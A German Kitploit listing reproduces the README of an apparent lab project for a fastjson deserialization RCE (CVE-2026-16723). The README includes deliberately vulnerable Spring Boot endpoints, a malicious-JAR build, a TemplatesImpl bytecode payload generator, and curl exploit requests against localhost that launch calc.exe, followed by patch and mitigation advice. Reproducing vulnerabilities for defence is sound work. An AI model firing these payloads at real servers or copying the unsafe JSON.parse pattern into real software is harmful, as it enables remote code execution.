Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
fastjson-cve — Reproduktionsprojekt für CVE-2026-16723, eine kritische RCE in fastjson 1.2.68-1.2.83. Demonstriert AutoType-Bypass, JNDI-Injection und TemplatesImpl-In-Memory-Payloads mit verwundbaren Spring-Boot-Endpunkten. | Kitploit
Tools/GitHubGitHub/ipisav/fastjson-cve
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPapers & ForschungLernen & Bildung
GitHubipisav/fastjson-cve

fastjson-cve

Reproduktionsprojekt für CVE-2026-16723, eine kritische RCE in fastjson 1.2.68-1.2.83. Demonstriert AutoType-Bypass, JNDI-Injection und TemplatesImpl-In-Memory-Payloads mit verwundbaren Spring-Boot-Endpunkten.

Repository anzeigen
vor 10h 55mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-16723 Reproduktionsprojekt

Überblick

Dieses Projekt reproduziert CVE-2026-16723 — eine kritische Remote Code Execution (RCE)-Schwachstelle in fastjson 1.2.68 bis 1.2.83. Die Schwachstelle ermöglicht RCE unter Standardkonfiguration, ohne dass AutoType aktiviert werden muss oder bereits vorhandene Classpath-Gadgets erforderlich sind.

EigenschaftWert
CVE-IDCVE-2026-16723
Komponentefastjson
Betroffene Versionen1.2.68 – 1.2.83
Behobene Versionen1.2.84+, 2.0.0+
SchwachstellentypDeserialisierung / RCE
SchweregradCVSS 3.1: 9.0 (KRITISCH)
AngriffsvektorNetzwerk
KomplexitätNiedrig
Erforderliche PrivilegienKeine
BenutzerinteraktionKeine

Projektstruktur

root@kitploit:~
fastjson-cve-2026-16723/
├── pom.xml                              # Hauptprojekt (Spring Boot-App mit verwundbarem fastjson)
├── src/main/java/com/example/cve/
│   ├── FastjsonCveApplication.java      # Spring Boot-Einstiegspunkt
│   └── controller/
│       └── VulnerableController.java    # Verwundbare REST-Endpunkte
├── malicious/                           # Separates Modul: bösartiges JAR für Supply-Chain-Simulation
│   ├── pom.xml
│   └── src/main/java/exploit/
│       ├── MaliciousClass.java          # Bösartige Klasse mit statischem Initialisierer
│       ├── EvilTranslet.java            # Bösartiges Translet für TemplatesImpl im In-Memory-Modus
│       └── GenTemplatesPayload.java     # Generiert das TemplatesImpl-JSON-Payload
├── templates-payload.json               # Generiertes TemplatesImpl-Payload (direkte Variante)
├── templates-payload-preload.json       # Generiertes TemplatesImpl-Payload (Class-Preload-Variante)
├── target/
│   └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
    └── malicious-jar-1.0.jar

Schwachstellendetails

Grundursache

fastjson 1.2.68–1.2.83 enthält einen Bypass im AutoType-Schutzmechanismus. Selbst mit Standardkonfiguration (autoTypeSupport=false) können Angreifer über manipulierte JSON-Payloads beliebige Klassen instanziieren, indem sie Exploit-Ketten wie die folgenden verwenden:

  1. java.lang.Class + com.sun.rowset.JdbcRowSetImpl (JNDI-Injection)
  2. java.lang.Runtime (direkte Befehlsausführung)
  3. Supply-Chain-Angriff über ein bösartiges JAR im Classpath (@type: exploit.MaliciousClass)

Verwundbarer Code

VulnerableController.java — zwei Endpunkte demonstrieren das Problem:

root@kitploit:~
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
    // Verwundbar: JSON.parseObject mit Standardkonfiguration
    // Kein ParserConfig.getGlobalInstance().setAutoTypeSupport(true) erforderlich!
    JSONObject obj = JSON.parseObject(json);
    return "Parsed: " + obj.toJSONString();
}

@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
    // Erzwingt Deserialisierung zu Object — löst tatsächliche Klasseninstanziierung aus
    Object obj = JSON.parse(json);
    return "Deserialized: " + obj.getClass().getName();
}

Erstellen des Projekts

Voraussetzungen

  • Java 8+
  • Maven 3.6+

Build-Befehle

root@kitploit:~
# Hauptanwendung erstellen
mvn clean package -DskipTests

# Bösartiges JAR erstellen (separates Modul)
cd malicious && mvn clean package && cd ..

Ausgabe-Artefakte

  • target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — Spring Boot Fat-JAR
  • malicious/target/malicious-jar-1.0.jar — Bösartiges JAR mit exploit.MaliciousClass

Ausführen der Anwendung

root@kitploit:~
java -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

Der Server startet unter http://localhost:8080

Laufzeitanforderung: Dieses Projekt zielt auf Java 8 ab, und der TemplatesImpl-In-Memory-Modus ist auf JDK 8 verifiziert. Auf JDK 9+ blockiert das Modulsystem den reflektiven Zugriff auf java.xml-Interna, sodass die Kette mit Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl fehlschlägt, sofern nicht die --add-opens-Flags hinzugefügt werden:

root@kitploit:~
java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
     -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

Classpath inklusive bösartigem JAR verifizieren

Die Haupt-pom.xml deklariert das bösartige JAR als Abhängigkeit, sodass es im Fat-JAR gebündelt ist:

root@kitploit:~
<dependency>
    <groupId>exploit</groupId>
    <artifactId>malicious-jar</artifactId>
    <version>1</version>
</dependency>

Zur Laufzeit verifizieren:

root@kitploit:~
curl http://localhost:8080/api/debug

Testen der Schwachstelle

Health-Check

root@kitploit:~
curl http://localhost:8080/api/test

Erwartet: CVE-2026-16723 Reproduction Endpoint Ready...


Supply-Chain-Angriff (bösartige Klasse im Classpath)

Das malicious-Modul stellt exploit.MaliciousClass mit einem statischen Initialisierer bereit, der beim Laden der Klasse calc.exe ausführt.

root@kitploit:~
curl -X POST http://localhost:8080/api/deserialize \
  -H "Content-Type: application/json" \
  -d '{"@type":"exploit.MaliciousClass"}'

Ergebnis:

root@kitploit:~
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<

Und calc.exe startet auf dem Server.

Hinweis: Dies demonstriert ein Supply-Chain-Szenario, bei dem eine bösartige Abhängigkeit im Classpath vorhanden ist. Die Schwachstelle ermöglicht die Instanziierung beliebiger Klassen im Classpath, nicht nur von JDK-Klassen.


In-Memory-Bytecode-Modus (TemplatesImpl, kein externer Server erforderlich)

Im Gegensatz zum Supply-Chain-Modus (der die bösartige Klasse im Classpath benötigt) und zum JNDI-Modus (der einen LDAP/RMI-Server benötigt), bettet dieser Modus den bösartigen Bytecode direkt im Payload ein und lädt ihn aus dem Speicher über com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — es muss nichts zusätzlich bereitgestellt werden.

Schritt 1 — Payload generieren:

root@kitploit:~
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload

Dies kompiliert exploit.EvilTranslet (eine AbstractTranslet-Unterklasse, deren statischer Initialisierer calc.exe ausführt), base64-kodiert dessen .class-Bytes und schreibt:

  • templates-payload.json — direkte Variante ("@type": "TemplatesImpl")
  • templates-payload-preload.json — java.lang.Class-Preload-Variante

Schritt 2 — Payload auslösen:

root@kitploit:~
curl -X POST http://localhost:8080/api/deserialize-autotype \
  -H "Content-Type: application/json" \
  --data-binary @templates-payload.json

Ergebnis:

root@kitploit:~
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<

Und calc.exe startet auf dem Server.

⚠️ Empirische Erkenntnisse (verifiziert gegen fastjson 1.2.83): Die TemplatesImpl-Kette ist unter reiner Standardkonfiguration nicht auslösbar:

  • Das direkte @type-Payload wird von der AutoType-DenyList abgelehnt (autoType is not support).
  • Die java.lang.Class-Preload-Kette scheitert aus zwei Gründen: java.lang.Class selbst steht auf der DenyList (autoType is not support. java.lang.Class), und selbst das Vorladen von TemplatesImpl in die internen Klassen-Zuordnungen umgeht die DenyList nicht — der Mapping-Bypass aus der 1.2.47-Ära ist auf 1.2.83 behoben.
  • Auch autoTypeSupport(true) allein reicht nicht: Die DenyList hat Priorität gegenüber dem AutoType-Flag.
  • Die Kette feuert nur, wenn die Klasse über ParserConfig.addAccept(...) auf die Whitelist gesetzt wird (die AcceptList hat Priorität gegenüber der DenyList) und Feature.SupportNonPublicField aktiviert ist (_bytecodes/_name/_tfactory von TemplatesImpl sind private Felder).
  • Der Endpunkt /api/deserialize-autotype implementiert genau diese Kombination.
  • Laufzeit: Die Kette ist auf JDK 8 verifiziert. Auf JDK 9+ blockiert das Modulsystem den reflektiven Zugriff auf java.xml-Interna, sodass die Instanzerstellung mit Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl fehlschlägt, sofern nicht die JVM-Flags aus Ausführen der Anwendung verwendet werden.

EndpunktVerhalten
POST /api/parseParst zu JSONObject — löst möglicherweise keine vollständige Deserialisierung für alle Payloads aus
POST /api/deserializeParst zu Object — erzwingt vollständige Deserialisierung und Klasseninstanziierung (Standardkonfiguration)
POST /api/deserialize-nonpublicJSON.parse + Feature.SupportNonPublicField — schreibt private Felder, aber die DenyList blockiert TemplatesImpl weiterhin
POST /api/deserialize-autotypeAutoType + addAccept + SupportNonPublicField — löst die TemplatesImpl-In-Memory-Kette aus

Für den Exploit mit der bösartigen Klasse ist /api/deserialize erforderlich, um den statischen Initialisierer auszulösen.


Behobene Versionen

Upgrade von fastjson auf eine gepatchte Version:

root@kitploit:~
<!-- Option 1: fastjson 1.x (empfohlen für 1.x-Benutzer) -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.84</version>
</dependency>

<!-- Option 2: fastjson 2.x (empfohlen für neue Projekte) -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.0</version>
</dependency>

Schadensbegrenzung (falls ein Upgrade nicht sofort möglich ist)

root@kitploit:~
// AutoType global deaktivieren (teilweise Schadensbegrenzung — Exploit-Ketten können weiterhin umgangen werden)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

// Oder safeMode verwenden (fastjson 1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);

Referenzen

  • NVD CVE-2026-16723
  • Alibaba fastjson2 Security Advisory
  • fastjson GitHub Repository

⚠️ Rechtlicher Haftungsausschluss

Dieses Projekt dient ausschließlich Bildungs- und defensiven Sicherheitsforschungszwecken.

  • Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.
  • Der Autor ist nicht verantwortlich für Missbrauch, Schäden oder rechtliche Konsequenzen, die aus der Verwendung dieses Codes entstehen.
  • Befolgen Sie stets verantwortungsvolle Offenlegungspraktiken, wenn Sie Schwachstellen entdecken.
  • Diese Reproduktion verwendet ein harmloses Payload (calc.exe) zur Demonstration; echte Exploits können schwerwiegenden Schaden verursachen.

Lizenz

Dieses Projekt wird wie besehen für Sicherheitsforschung bereitgestellt. Keine ausdrückliche oder stillschweigende Garantie.

Tool herunterladen